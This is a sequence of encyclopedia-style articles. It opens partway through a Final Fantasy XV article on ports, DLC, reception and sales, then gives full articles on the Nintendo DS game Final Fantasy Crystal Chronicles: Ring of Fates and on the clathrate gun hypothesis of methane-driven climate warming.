A version for Windows was released on March 6, 2018. Square Enix developed the port with Nvidia using an upgraded version of the Luminous Studio engine, featuring graphical enhancements and all DLC. These improvements and additions were also released as part of the console-exclusive Royal Edition. The game was also ported to the streaming-based Stadia platform, releasing on November 19, 2019 as a launch title. Another version, titled Final Fantasy XV: Pocket Edition, was released in February 2018 for iOS and Android. The game was co-developed by Square Enix, SummerTimeStudio, and XPEC Entertainment. Development began in 2015 following the release of Episode Duscae; the game was produced by Kosei Ito, who was producer on Tabata's first major Square Enix title Before Crisis: Final Fantasy VII.
Downloadable content
Multiple pieces of downloadable content (DLC) were created for the game by a smaller development team from the core Final Fantasy XV staff. The team was supervised by Tabata and headed by new producer Haruyoshi Sawatari. Among the DLC were additional story elements intended to address player criticisms of the game's narrative structure and missing details. The journeys of Noctis' friends during their absence in the main story are expanded through the character-driven DLC episodes—Episode Gladiolus, Episode Prompto and Episode Ignis—which were released respectively in March, June and December 2017. A story-driven multiplayer mode called Comrades was released in November 2017, with Final Fantasy XV becoming the first mainline single-player Final Fantasy to include multiplayer content. A standalone version of Comrades was released for PS4 and Xbox One in December 2018 to replace the DLC version of Comrades.
Episode Ignis was intended to be the last story-based DLC, but positive player feedback resulted in Square Enix wanting to develop further content focusing on other main characters, such as Ardyn. Episode Ardyn was released in March 2019, and was the final post-release update for Final Fantasy XV. Originally part of a tetralogy of story-based DLC episodes dubbed The Dawn of the Future, the other episodes were cancelled due to structural changes within Square Enix. Story material for The Dawn of the Future DLC has been turned into a novel of the same name. It was first released in Japan in April 2019, and worldwide in June 2020.
Reception
Final Fantasy XV has received "generally favorable" reviews from critics for all versions, according to review aggregator Metacritic. Japanese gaming magazine Famitsu gave both versions of the game a score of 38 points out of 40. Various game designers stated Final Fantasy XV was their favorite game of 2016, including Final Fantasy series creator Hironobu Sakaguchi, Atlus' Shigeo Komori, Koei Tecmo's Takashi Morinaka, and Sony Interactive Entertainment's Teruyuki Toriyama and Shuhei Yoshida.
Opinions on the story of Final Fantasy XV were mixed, although the main cast was praised for its chemistry. Game Informers Andrew Reiner praised the change to a simple straightforward plot after the complex lore of Final Fantasy XIII. Peter Brown of GameSpot and Philip Kollar of Polygon praised the mundane activities and character interactions, with Kollar calling Noctis's companions the game's "beating heart". In contrast, Jonathan Leack of Game Revolution found the characters lacked interest during the early parts of the campaign, and Hardcore Gamers Adam Beck called the main story a "monumental disappointment" despite enjoying the lead cast. The minimal representation of supporting characters was also frequently faulted. David Roberts of GamesRadar, Electronic Gaming Monthlys Mollie L. Patterson and Destructoids Chris Carter also noted the crucial part played by the game's expanded media in grounding or fleshing out the main story.
The visuals and realistic style were positively received, with IGNs Vince Ingenito enjoying the unusual use of realistic aesthetic details for the towns and environment. Roberts, Brown, Leack, Beck and Kollar praised the open world design and depth of detail, in addition to its scale and similarity to open worlds from recent Western games. Beck also noted the setpiece moments as beautiful in appearance despite weak narrative elements and confusing or convoluted gameplay. Leack positively noted the main cast's eye-catching design, which he felt helped maintain a connection during the early sections of the game. Shimomura's score was also positively received by critics.
The gameplay was praised for its fast pace and engaging mechanics despite a lack of depth compared with other action games, with several reviewers comparing it to Kingdom Hearts; Patterson positively compared normal battles to the CGI cutscene-exclusive battles of earlier Square Enix titles, while Leack called the combat system "Kingdom Hearts meets Dissidia" and praised its depth and accessibility. Digital Spys Kirk McKeand praised the behaviour of Noctis's companions in battle, saying they were effective supporting units. The linear second half drew criticism, with Roberts predicting that it would be one of the game's most divisive elements. The summons were seen as spectacular, but either lacking meaning in gameplay or being too difficult to activate. Several reviewers noted the in-game camera's occasionally erratic behaviour.
Sales
In Japan, the PS4 version topped Japanese gaming charts, selling 690,471 units. The Xbox One version sold nearly 3,800 units. Total sales of both versions came to 694,262 units, with the game's release boosting console sales for the PS4 over the previous week by over 42,000 units. Second week sales in the region were 79,792 units, down 88% from launch week and causing the game to drop to fifth place. Different rankings in January the following year placed the Japanese sales of Final Fantasy XV as between 900,000 and one million copies. In the United Kingdom's all-format gaming charts ending December 3, Final Fantasy XV was the second biggest launch for the series after Final Fantasy XIII. According to the December data released by the NPD Group, Final Fantasy XV was the second best-selling title of the month behind Call of Duty: Infinite Warfare. The game also became the month's best-selling PS4 title, and saw the best console launch month in the franchise's history.
Within the first twenty-four hours, Square Enix reported that Final Fantasy XV had shipped five million units worldwide in both physical shipments and digital sales—a figure which allowed the game to "break even" on development costs. This gave Final Fantasy XV the biggest launch in the franchise to date, the most first day digital sales in Japan for a game up to that point, and set records for physical shipments and downloads in mainland Asia. Commenting on the large numbers, Tabata revealed that the strong sales saved the Final Fantasy franchise as a whole, which had seen declining commercial success in recent years. According to Square Enix, shipments had reached over six million worldwide by January 2017. In May of the same year, the game and Rise of the Tomb Raider helped to increase sales and profits for the 2016-2017 fiscal year. By May 2022, Final Fantasy XV had sold ten million units worldwide across all versions, making it one of the best-selling Final Fantasy games of all time.
Awards
Final Fantasy XV won numerous awards from various gaming publications, including "Game of the Year" from RPG Site and RPGFan, and "Best RPG (People's Choice)" from IGN, PlayStation Blog awarded Final Fantasy XV awards in the categories of "Best PS4 Game", "Best Use of Pro", "Best Soundtrack", and "Best Visuals"; and in Game Informers 2017 RPG of the Year Awards awarded the game for "Best Post-Launch Support". At the 2017 National Academy of Video Game Trade Reviewers Awards the game won Game, Franchise Role Playing and Song, Original or Adapted. It was also nominated for "Best Original Soundtrack Album" and for "Best Original Instrumental" ("Valse di Fantastica") at the 15th Annual Game Audio Network Guild Awards. In 2017, the game was nominated for "Best Visual Design" at the Golden Joystick Awards, and for "Best Role-Playing Game" at The Game Awards 2017, but lost to Cuphead and Persona 5, respectively. The Comrades DLC was nominated for "Best Add-on" at the Gamescom 2017 Awards. The game was also nominated for "Evolving Game" at the 14th British Academy Games Awards.
In 2019, NHK conducted a Final Fantasy poll in Japan with over 468,000 voters, including 51% male and 49% female voters. Final Fantasy XV was voted the tenth best game in the series, with over 71% of its votes coming from female audiences, a higher proportion than any other Final Fantasy title.
Notes
References
External links
2016 video games
Action role-playing video games
Cancelled PlayStation 3 games
Fabula Nova Crystallis Final Fantasy
Final Fantasy video games
Fiction about invasions
Japanese role-playing video games
Open-world video games
PlayStation 4 Pro enhanced games
PlayStation 4 games
Science fantasy video games
Single-player video games
Stadia games
Theft in fiction
Transmedia storytelling
Video games about magic
Video games developed in Japan
Video games scored by Yoko Shimomura
Video games set on fictional planets
Video games with Steam Workshop support
War video games
Windows games
Xbox One X enhanced games
Xbox One games
XPEC Entertainment games
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https://en.wikipedia.org/wiki/Final%20Fantasy%20Crystal%20Chronicles%3A%20Ring%20of%20Fates
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Final Fantasy Crystal Chronicles: Ring of Fates
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is an action role-playing game for the Nintendo DS, developed and published by Square Enix. It is a prequel to Final Fantasy Crystal Chronicles for the GameCube. The game takes advantage of both the local wireless and Wi-Fi capabilities of the system and features voice acting.
Gameplay
Final Fantasy Crystal Chronicles: Ring of Fates is an action role-playing game; players take on the role of lead character Yuri in the single-player campaign, and a troop of adventurers in the co-op multiplayer mode dubbed "Multiplay". The player characters in both modes are selected from four playable races of the world; the balanced Clavats, tank-style Lilties, magic-focused Yukes, and ranged Selkies. Each character has specific weapon skills based around their race. The gameplay and general information is separated between the two screens of the Nintendo DS: the in-game display is shown on the top screen, while the lower touch screen displays the menu and weapon selection.
The player explores the 3D environments from an overhead third-person perspective, with levels consisting of interlinked rooms filled with enemies and sometimes a puzzle blocking progress until solved. Combat takes place in real-time within areas of a level. The player character attacks enemies in each zone, with combined inputs of the DS face buttons and d-pad resulting in faster combination attacks. Different combinations of button prompts create a variety of attacks. During combat, players can jump on enemies and land stronger attacks. When defeated, enemies drop items and equipment, which can be equipped, used in crafting, or sold for the in-game currency gil.
Over the course of the game, the player character raises their experience level, which improves general statistics and Ai behaviour in single-player. Their equipment can be upgraded and replaced with more powerful types during the progress of the game. Some equipment and accessories also grant passive benefits and bonuses while worn. Casting magic in the game requires Magicite, which is picked up from defeated chests and defeated enemies; only a certain number can be held at any one time due to inventory limits. Magic is cast by holding down a button command and aiming it, with other characters joining in to create enhanced or new spells.
The player character's movement and actions are controlled using the DS face buttons and d-pad. By holding the right trigger, the displays switch screens and time slows, and tapping an enemy on the touch screen activates the player character's special attack at the cost of SP. A special ability is tied to a player character's race, and play a part in both combat and puzzles. Puzzles range in scope and complexity, with some relying on activating switches and others being based around timed doorways or finding keys.
In multiplayer, up to four players can connect using local ad-hoc connection through Nintendo Wi-Fi. Players can create up to eight characters, selecting from any of the four races. There are two modes within multiplayer; Quest mode, which is tied to the mode's scenario, and Free Mode, which allows players to explore dungeons and towns at their leisure. While designed for multiple players, it can be completed by a single player. Completing a level unlocks others of higher difficulty, and once all levels are completed new harder variations of them are unlocked. While online, players in either campaign can send messages to each other via Moogle Mail. Collecting Moogle Stamps during exploration unlocks a version of "Blazin' Caravans", a minigame featured in the original game.
Synopsis
Setting and characters
Ring of Fates takes place on the same world as the Final Fantasy Crystal Chronicles, which is inhabited by four races; the Clavats, Lilties, Yukes and Selkies. The story is set 8000 years prior to the events of Crystal Chronicles during a period dubbed the Golden Age, when the four races lived together in harmony. The world is guarded by the Great Crystal from the influence of the Red Crystal on the world's moon, which triggers the appearance of monsters and brings some people under its influence. The game is mostly set around the city of Rebena Te Ra, where the Great Crystal is housed.
The lead characters of the game are siblings Yuri and Chelinka, who lived a quiet life with their father Latov; their mother Aleria apparently died at some earlier time. They are blessed with their mother's crystal-based magical power, causing them to become involved in a wider conflict around the Great Crystal. They are helped by their neighbourhood friends, the Yuke scholar Alhanalem who is the twins' tutor, the Lilty alchemist Meeth Crym, and a Selkie wild boy called Gnash who has suffered through experiments related to the Great Crystal. They interact in Rebena Te Ra with the Selkie king Kolka Tawantyn and his Clavat-Selkie daughter Tilika. The main antagonists are Galdes, leader of the Red Crystal-allied Lunites and hierophant of the Crystal Temple holding the Great Crystal, and the maniacal Cu Chaspel.
Plot
The lives of Yuri and Chelinka, who live with Latov and Alhanalem are disrupted when they are attacked in Rebena Te Ra by Galdes's forces, then by Cu Chaspel when he tries to kidnap Chelinka. In the struggle, Latov is killed and the twins repel Chaspel with an uncontrolled burst of power. Chelinka is left mute, but able to speak telepathically with Yuri. After some time, Yuri has become a self-taught warrior, and set out with Chelinka on a quest to hunt down Lunites. During their journey, they reunite with Alhanalem and meet up with Kolka, running into an imposter posing as Alhanalem. In their efforts to unmask the imposter, the three run into and partner with Gnash and Crym at different points. During one part of their journey, Yuri makes use of his power to save them from a collapsing bridge, an act that almost kills him. Chelinka recovers from her muteness and revives him using her own powers.
Returning again to Rebena Te Ra, the group are framed by Cu Chaspel for the attempted murder of Kolka, and the party must escape their island prison through the planet's underworld. There they fight the possessed spirit of Latov as a being called the Lich, and learn about the ghost of Tilika who has been appearing to them at several points. Tilika died during an attempted summoning of the Red Crystal's "god" from the moon. Latov and Aleria saw this and went into hiding afterwards, with Aleria later being abducted as part of Galdes's experiments with the Great Crystal's magical energy. The party escape the underworld and return to Rebena Te Ra, unmasking the Alhanalem imposter as the true Lich who was controlling Kolka. The Lich is defeated and Tilika's spirit breaks her father's mind control. The party then goes to the captured Crystal Temple, defeating Cu Chaspel but being unable to stop Galdes from sacrificing the captured Aleria to the Red Crystal, turning Galdes into a god-like being capable of warping reality.
In Galdes's new reality, Yuri and Chelinka retain their memories, as they are together as twins across all possible realities, allowing them to awaken the memories of their companions and challenge Galdes again. The twins defeat Galdes, but he uses his power to undo the victory, then Chelinka uses her connection to the Great Crystal to empower Yuri with her greater ability to manipulate time. Using this power, Yuri traps Galdes in an eternal time loop across all timelines. He returns to living with the again-mute Chelinka, but his health fails and Chelinka sacrifices herself to revive him. The united wills of Yuri and Chelinka across all timelines rewrite history again, allowing the siblings to live with their still-living parents in peace.
The multiplayer storyline takes place after the single player campaign events, with the player helping restore and repopulate Rebena Te Ra in the altered timeline. During this time, they work with Kolka and free Tilika from the lingering presence of the Lich. Tilika and Kolka reconicle, and Tilika becomes the queen of Rebena Te Ra.
Development
Ring of Fates was developed and published by Final Fantasy franchise developers Square Enix. The concept emerged following the release of the DS, with the production team feeling it was "perfect" for the Crystal Chronicles series, focusing on using the platform's capabilities to create a title that would be better than the original. Production of Ring of Fates began in the spring of 2006. Series creator Akitoshi Kawazu acted as executive producer and executive director for the game. Mitsuru Kamiyama, the main programmer for Crystal Chronicles, made his debut as game director, while also acting as lead programmer. The scenario was written by Hiroyuki Saegusa, who also acted as lead designer. The game was produced by Kiyoko Maeda. Production ran parallel with another Crystal Chronicles title, The Crystal Bearers for Wii. While The Crystal Bearers focused on a single-player experience, Ring of Fates continued the overall focus on multiplayer and party-based gameplay.
As with the original Crystal Chronicles for GameCube, the title both focused on multiplayer, and allow accessibility for both experienced and new players. When designing the campaigns, the team made the single-player narrative story-oriented, and the multiplayer narrative quest-oriented. In the single-player section, originally only one character was shown alongside the player character. As it was "more fun" for the protagonist to be fighting with friends, all present party members were included on screen, which needed an extensive and hurried restructure of the game programming. The game design drew from both internal and external feedback from the first game. Menu design for the touchscreen controls were tricky, as they needed to work within the potential fast pace of action gameplay. Kamiyama stated that he did not want to force players into using the stylus, so allowed them to instead use their thumbs by making the command icons a suitable size. The ability to paint the player's Moogle companion, a feature included hurriedly into the first game, was incorporated into Ring of Fates with touchscreen functions due to the original's positive reception. The multiplayer was limited to ad-hoc only as the developers wanted players to be close to each other, communicating about strategy while being able to freely move their character around each area. Online multiplayer was present in an early prototype, but the option was scrapped.
A single-player narrative was one of the earliest concepts for the game. When creating the scenario, the first idea was the protagonists facing a malicious crystal. Part of the production challenge was creating two separate scripts for the single-player and multiplayer storylines, a task made more difficult by including voice acting in the single-playing script. Full voice acting was impossible due to limited storage capacity, but key scenes were voiced. The story focused on themes of family and fraternal love, in addition to the recurring Final Fantasy motif of powerful crystals being included in a lesser capacity. In an effort to break away from series traditions, the wicked Red Crystal was introduced, and the ambiguous morality of the crystals overall was referenced. The game's subtitle referred to the concept of a wheel of fate, acting as a key plot point. The logo's red design, uncommon within the franchise, referenced the Red Crystal's influence.
The art director and lead character designer was Toshiyuki Itahana, who had worked in that capacity on the first Crystal Chronicles. His work on Ring of Fates ran parallel to his job as director for The Crystal Bearers. In addition, artist Yasuhisa Izumisawa designed a large number of weapons and armour sets for the characters. While he was unable to include much emotion or personality in his designs for the first Crystal Chronicles due to its gameplay style, Itahana was able to draw characters such as Yuri with far more expression and movement. His design for the antagonist Cu Chaspel, his favourite for the game, was inspired by a wooden mask brought back by a co-worker from holiday. The more cartoon-like style was partially born from the DS's hardware limitations, with the team creating large-headed chibi-style characters who could emote to players on the small screen. The 3D graphic design drew partial inspiration from the DS remake of Final Fantasy III. The cutscene design was approached in the same way as a home console release despite the portable platform. Creating the character models was a "constant struggle" with the hardware limitations and necessity for low resolution textures. The CGI opening was created by Image Corporation.
Music
The music was composed by Kumi Tanioka, who had worked as composer for the first Crystal Chronicles. As with her work on the original Crystal Chronicles, Tanioka used period instruments for the score. Production of the music began once the design and narrative were settled on, allowing Tanioka to read through the materials for inspiration and guidance. When composing the score, she kept in mind the narrative focus of the single-player campaign, together with its sombre tone. Writing the score took approximately a year. The score was created through much trial and error, with Tanioka becoming emotionally invested in the world and characters through her music.
The soundtrack was arranged by Tanioka and Yasuhiro Yamanaka. Tanioka attributed Yamanaka with helping get the variety of sounds they achieved on the DS's limited sound hardware. While sharing a musical style with the first game, Tanioka aimed to create a distinct musical identity. While she created a theme for the Great Crystal, she did not reuse the series's recurring crystal-themed music, instead writing an original piece that had the older music "hidden" within it. There were several times during production where she had to redo a piece because the production team wanted something different for a particular scene. One track arranged the original Final Fantasy victory theme composed by Nobuo Uematsu.
The game made use of a licensed theme song for the ending credits. The song, "Hoshi no Nai Sekai", was written and performed by Japanese singer Aiko based on the themes and world of Ring of Fates. An official soundtrack album was released on September 17, 2007. The album featured a cover illustration by Itahana. A book of piano sheet music arrangements was published in January 2008. "Hoshi no Nai Sekai" was released as a single under the Pony Canyon label on August 22, 2007.
Release
Ring of Fates was announced in May 2006 alongside The Crystal Bearers, touted as part of Square Enix's next wave of Final Fantasy titles for the upcoming console generation. It also formed part of the company's expansion into the multiplayer gaming scene following Final Fantasy XI. When announced, the game was 60% complete. The game was released in Japan on August 23, 2007. To commemorate the release, a themed Nintendo DS Lite console with accessories was produced by Square Enix and peripheral manufacturer Hori. A guidebook from Square Enix, Final Fantasy Crystal Chronicles: Ring of Fates Official Complete Guidebook, was released on September 20. A manga anthology was released on March 1, 2008, containing both serious stories related to the single-player campaign and more humorous narratives set during the multiplayer storyline. A novelization based on the single-player campaign, written by Osamu Kudo, was published by Enterbrain's Famitsu Bunko in two volumes on May 30 and July 30 the same year.
The localization was handled by Square Enix, who were faced with communicating the narrative and its more complex or mystical elements within a strict character limit. Alhanalem's dialogue was a challenge, as for a verbal tick the team had him saying a lot of words ending in "al", necessitating some rewriting of dialogue. A difficult set of characters were pet-themed NPCs in the multiplayer campaign, whose mannerisms in Japanese used animal vocalizations not easily localised into English. Voice recording was done by ZRO Limit Productions. The game launched in Western territories during March 2008; in North America on March 11, Australia on March 20, and in PAL territories on March 21. The game included a notable anti-piracy measure, with pirated copies randomly cutting to a black screen and a message thanking the player for trying the game.
Reception
During its first week on sale in Japan, Ring of Fates sold 178,000 units, reaching second place in sales charts compiled by Media Create. By the end of the year, the game's various editions sold a combined total of over 374,000 units. As of August 2008, Ring of Fates had sold 690 thousand units worldwide, with 380,000 units sold in Japan, 160,000 in North America, and 150,000 in Europe. Two months later, total worldwide sales had reached 700,000 units.
Final Fantasy Crystal Chronicles: Ring of Fates received the scores of 9/8/9/9 (35/40) from Famitsu magazine. Nintendo Power gave the game a 7.0 out of 10, claiming it was "good, not great" and "Ring of Fates would be acceptable; for Final Fantasy, it is a major concern". It was a nominee for Best Story by IGN in their 2008 video game awards.
Notes
References
External links
Official Japanese site
Original soundtrack at Square Enix Music (Japanese)
Official North American site
Official European site
Role-playing video games
Ring of Fates
Final Fantasy video games
Nintendo DS games
Nintendo DS-only games
Nintendo Wi-Fi Connection games
Multiplayer online games
Japanese role-playing video games
Action role-playing video games
2007 video games
Video games developed in Japan
Video games scored by Kumi Tanioka
Multiplayer and single-player video games
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https://en.wikipedia.org/wiki/Clathrate%20gun%20hypothesis
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Clathrate gun hypothesis
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The clathrate gun hypothesis is a proposed explanation for the periods of rapid warming during the Quaternary. The hypothesis is that changes in fluxes in upper intermediate waters in the ocean caused temperature fluctuations that alternately accumulated and occasionally released methane clathrate on upper continental slopes. This would have had an immediate impact on the global temperature, as methane is a much more powerful greenhouse gas than carbon dioxide. Despite its atmospheric lifetime of around 12 years, methane's global warming potential is 72 times greater than that of carbon dioxide over 20 years, and 25 times over 100 years (33 when accounting for aerosol interactions). It is further proposed that these warming events caused the Bond Cycles and individual interstadial events, such as the Dansgaard–Oeschger interstadials.
The hypothesis was supported for the Bølling-Allerød and Preboreal period, but not for Dansgaard–Oeschger interstadials, although there are still debates on the topic. While it may be important on the millennial timescales, it is no longer considered relevant for the near future climate change: the IPCC Sixth Assessment Report states "It is very unlikely that gas clathrates (mostly methane) in deeper terrestrial permafrost and subsea clathrates will lead to a detectable departure from the emissions trajectory during this century".
Mechanism
Methane clathrate, also known commonly as methane hydrate, is a form of water ice that contains a large amount of methane within its crystal structure. Potentially large deposits of methane clathrate have been found under sediments on the ocean floors of the Earth, although the estimates of total resource size given by various experts differ by many orders of magnitude, leaving doubt as to the size of methane clathrate deposits (particularly in the viability of extracting them as a fuel resource). Indeed, cores of greater than 10 centimeters' contiguous depth had only been found in three sites as of 2000, and some resource reserve size estimates for specific deposits/locations have been based primarily on seismology. The sudden release of large amounts of natural gas from methane clathrate deposits in runaway climate change could be a cause of past, future, and present climate changes.
In the Arctic ocean, clathrates can exist in shallower water stabilized by lower temperatures rather than higher pressures; these may potentially be marginally stable much closer to the surface of the sea-bed, stabilized by a frozen 'lid' of permafrost preventing methane escape. The so-called self-preservation phenomenon has been studied by Russian geologists starting in the late 1980s. This metastable clathrate state can be a basis for release events of methane excursions, such as during the interval of the Last Glacial Maximum. A study from 2010 concluded with the possibility for a trigger of abrupt climate warming based on metastable methane clathrates in the East Siberian Arctic Shelf (ESAS) region.
Possible past releases
Studies published in 2000 considered this hypothetical effect to be responsible for warming events in and at the end of the Last Glacial Maximum,. Although periods of increased atmospheric methane match periods of continental-slope failure., later work found that the distinct deuterium/hydrogen (D/H) isotope ratio indicated wetland methane emissions as the main contributor to atmospheric methane concentrations. While there were major dissociation events during the last deglaciation, with Bølling-Allerød warming triggering the disappearance of the entire methane hydrate deposit in the Barents Sea within 5000 years, those events failed to counteract the onset of a major Younger Dryas cooling period, suggesting that most of the methane stayed within the seawater after being liberated from the seafloor deposits, with very little entering the atmosphere.
In 2008, it was suggested that equatorial permafrost methane clathrate may have had a role in the sudden warm-up of "Snowball Earth", 630 million years ago.
Other events potentially linked to methane hydrate excursions are the Permian–Triassic extinction event and the Paleocene–Eocene Thermal Maximum.
Paleocene–Eocene Thermal Maximum
Permian–Triassic extinction event
Climate change feedback
Modern deposits
Most deposits of methane clathrate are in sediments too deep to respond rapidly, and 2007 modelling by Archer suggests that the methane forcing derived from them should remain a minor component of the overall greenhouse effect. Clathrate deposits destabilize from the deepest part of their stability zone, which is typically hundreds of metres below the seabed. A sustained increase in sea temperature will warm its way through the sediment eventually, and cause the shallowest, most marginal clathrate to start to break down; but it will typically take on the order of a thousand years or more for the temperature change to get that far into the seabed. Further, subsequent research on midlatitude deposits in the Atlantic and Pacific Ocean found that any methane released from the seafloor, no matter the source, fails to reach the atmosphere once the depth exceeds , while geological characteristics of the area make it impossible for hydrates to exist at depths shallower than .
However, some methane clathrates deposits in the Arctic are much shallower than the rest, which could make them far more vulnerable to warming. A trapped gas deposit on the continental slope off Canada in the Beaufort Sea, located in an area of small conical hills on the ocean floor is just below sea level and considered the shallowest known deposit of methane hydrate. However, the East Siberian Arctic Shelf averages 45 meters in depth, and it is assumed that below the seafloor, sealed by sub-sea permafrost layers, hydrates deposits are located. This would mean that when the warming potentially talik or pingo-like features within the shelf, they would also serve as gas migration pathways for the formerly frozen methane, and a lot of attention has been paid to that possibility. Shakhova et al. (2008) estimate that not less than 1,400 gigatonnes of carbon is presently locked up as methane and methane hydrates under the Arctic submarine permafrost, and 5–10% of that area is subject to puncturing by open talik. Their paper initially included the line that the "release of up to 50 gigatonnes of predicted amount of hydrate storage [is] highly possible for abrupt release at any time". A release on this scale would increase the methane content of the planet's atmosphere by a factor of twelve, equivalent in greenhouse effect to a doubling in the 2008 level of .
This is what led to the original Clathrate gun hypothesis, and in 2008 the United States Department of Energy National Laboratory system and the United States Geological Survey's Climate Change Science Program both identified potential clathrate destabilization in the Arctic as one of four most serious scenarios for abrupt climate change, which have been singled out for priority research. The USCCSP released a report in late December 2008 estimating the gravity of this risk. A 2012 study of the effects for the original hypothesis, based on a coupled climate–carbon cycle model (GCM) assessed a 1000-fold (from <1 to 1000 ppmv) methane increase—within a single pulse, from methane hydrates (based on carbon amount estimates for the PETM, with ~2000 GtC), and concluded it would increase atmospheric temperatures by more than 6 °C within 80 years. Further, carbon stored in the land biosphere would decrease by less than 25%, suggesting a critical situation for ecosystems and farming, especially in the tropics. Another 2012 assessment of the literature identifies methane hydrates on the Shelf of East Arctic Seas as a potential trigger.
A risk of seismic activity being potentially responsible for mass methane releases has been considered as well. In 2012, seismic observations destabilizing methane hydrate along the continental slope of the eastern United States, following the intrusion of warmer ocean currents, suggests that underwater landslides could release methane. The estimated amount of methane hydrate in this slope is 2.5 gigatonnes (about 0.2% of the amount required to cause the PETM), and it is unclear if the methane could reach the atmosphere. However, the authors of the study caution: "It is unlikely that the western North Atlantic margin is the only area experiencing changing ocean currents; our estimate of 2.5 gigatonnes of destabilizing methane hydrate may therefore represent only a fraction of the methane hydrate currently destabilizing globally." Bill McGuire notes, "There may be a threat of submarine landslides around the margins of Greenland, which are less well explored. Greenland is already uplifting, reducing the pressure on the crust beneath and also on submarine methane hydrates in the sediment around its margins, and increased seismic activity may be apparent within decades as active faults beneath the ice sheet are unloaded. This could provide the potential for the earthquake or methane hydrate destabilisation of submarine sediment, leading to the formation of submarine slides and, perhaps, tsunamis in the North Atlantic."
Observed emissions
East Siberian Arctic Shelf
Research carried out in 2008 in the Siberian Arctic showed methane releases on the annual scale of millions of tonnes, which was a substantial increase on the previous estimate of 0.5 millions of tonnes per year. apparently through perforations in the seabed permafrost, with concentrations in some regions reaching up to 100 times normal levels. The excess methane has been detected in localized hotspots in the outfall of the Lena River and the border between the Laptev Sea and the East Siberian Sea. At the time, some of the melting was thought to be the result of geological heating, but more thawing was believed to be due to the greatly increased volumes of meltwater being discharged from the Siberian rivers flowing north.
By 2013, the same team of researchers used multiple sonar observations to quantify the density of bubbles emanating from subsea permafrost into the ocean (a process called ebullition), and found that 100–630 mg methane per square meter is emitted daily along the East Siberian Arctic Shelf (ESAS), into the water column. They also found that during storms, when wind accelerates air-sea gas exchange, methane levels in the water column drop dramatically. Observations suggest that methane release from seabed permafrost will progress slowly, rather than abruptly. However, Arctic cyclones, fueled by global warming, and further accumulation of greenhouse gases in the atmosphere could contribute to more rapid methane release from this source. Altogether, their updated estimate had now amounted to 17 millions of tonnes per year.
However, these findings were soon questioned, as this rate of annual release would mean that the ESAS alone would account for between 28% and 75% of the observed Arctic methane emissions, which contradicts many other studies. In January 2020, it was found that the rate at which methane enters the atmosphere after it had been released from the shelf deposits into the water column had been greatly overestimated, and observations of atmospheric methane fluxes taken from multiple ship cruises in the Arctic instead indicate that only around 3.02 million tonnes of methane are emitted annually from the ESAS. A modelling study published in 2020 suggested that under the present-day conditions, annual methane release from the ESAS may be as low as 1000 tonnes, with 2.6 – 4.5 million tonnes representing the peak potential of turbulent emissions from the shelf.
Beaufort Sea continental slope
A radiocarbon dating study in 2018 found that after the 30-meter isobath, only around 10% of the methane in surface waters can be attributed to ancient permafrost or methane hydrates. The authors suggested that even a significantly accelerated methane release would still largely fail to reach the atmosphere.
Svalbard
Hong et al. 2017 studied methane seepage in the shallow arctic seas at the Barents Sea close to Svalbard. Temperature at the seabed has fluctuated seasonally over the last century, between and , it has only affected release of methane to a depth of about 1.6 meters at the sediment-water interface. Hydrates can be stable through the top 60 meters of the sediments and the current observed releases originate from deeper below the sea floor. They conclude that the increased methane flux started hundreds to thousands of years ago, noted about it, "..episodic ventilation of deep reservoirs rather than warming-induced gas hydrate dissociation." Summarizing his research, Hong stated:
Research by Klaus Wallmann et al. 2018 concluded that hydrate dissociation at Svalbard 8,000 years ago was due to isostatic rebound (continental uplift following deglaciation). As a result, the water depth got shallower with less hydrostatic pressure, without further warming. The study, also found that today's deposits at the site become unstable at a depth of ~ 400 meters, due to seasonal bottom water warming, and it remains unclear if this is due to natural variability or anthropogenic warming. Moreover, another paper published in 2017 found that only 0.07% of the methane released from the gas hydrate dissociation at Svalbard appears to reach the atmosphere, and usually only when the wind speeds were low. In 2020, a subsequent study confirmed that only a small fraction of methane from the Svalbard seeps reaches the atmosphere, and that the wind speed holds a greater influence on the rate of release than dissolved methane concentration on site.
Finally, a paper published in 2017 indicated that the methane emissions from at least one seep field at Svalbard were more than compensated for by the enhanced carbon dioxide uptake due to the greatly increased phytoplankton activity in this nutrient-rich water. The daily amount of carbon dioxide absorbed by the phytoplankton was 1,900 greater than the amount of methane emitted, and the negative (i.e. indirectly cooling) radiative forcing from the CO2 uptake was up to 251 times greater than the warming from the methane release.
Current outlook
In 2014 based on their research on the northern United States Atlantic marine continental margins from Cape Hatteras to Georges Bank, a group of scientists from the US Geological Survey, the Department of Geosciences, Mississippi State University, Department of Geological Sciences, Brown University and Earth Resources Technology, found widespread leakage of methane from the seafloor, but they did not assign specific dates, beyond suggesting that some of the seeps were more than 1000 years old. In March 2017, a meta-analysis by the USGS Gas Hydrates Project concluded:
In June 2017, scientists from the Center for Arctic Gas Hydrate (CAGE), Environment and Climate at the University of Tromsø, published a study describing over a hundred ocean sediment craters, some 300 meters wide and up to 30 meters deep, formed due to explosive eruptions, attributed to destabilizing methane hydrates, following ice-sheet retreat during the last glacial period, around 15,000 years ago, a few centuries after the Bølling-Allerød warming. These areas around the Barents Sea, still seep methane today, and still existing bulges with methane reservoirs could eventually have the same fate. Later that same year, the Arctic Council published SWIPA 2017 report, where it cautioned "Arctic sources and sinks of greenhouse gases are still hampered by data and knowledge gaps."
In 2018, a perspective piece devoted to tipping points in the climate system suggested that the climate change contribution from methane hydrates would be "negligible" by the end of the century, but could amount to on the millennial timescales. In 2021, the IPCC Sixth Assessment Report no longer included methane hydrates in the list of potential tipping points, and says that "it is very unlikely that CH4 emissions from clathrates will substantially warm the climate system over the next few centuries." The report had also linked terrestrial hydrate deposites to gas emission craters discovered in the Yamal Peninsula in Siberia, Russia beginning in July 2014, but noted that since terrestrial gas hydrates predominantly from at a depth below 200 metres, a substantial response within the next few centuries can be ruled out. Likewise, a 2022 assessment of tipping points described methane hydrates as a "threshold-free feedback" rather than a tipping point.
In fiction
The science fiction novel Mother of Storms by John Barnes offers a fictional example of catastrophic climate change caused by methane clathrate release.
In The Life Lottery by Ian Irvine unprecedented seismic activity triggers a release of methane hydrate, reversing global cooling.
The hypothesis is the basis of an experiment in the PlayStation 2 game Death By Degrees.
In Transcendent by Stephen Baxter, averting such a crisis is a major plotline.
The novel The Black Silent by author David Dun features this idea as a key scientific point.
In the anime Ergo Proxy, a string of explosions in the methane hydrate reserves wipes out 85% of species on Earth.
The novel The Far Shore of Time by Frederik Pohl features an alien race attempting to destroy humanity by bombing the methane clathrate reserves, thus releasing the gas into the atmosphere.
The novel The Swarm by Frank Schätzing features what first appear to be freak events related to the world's oceans.
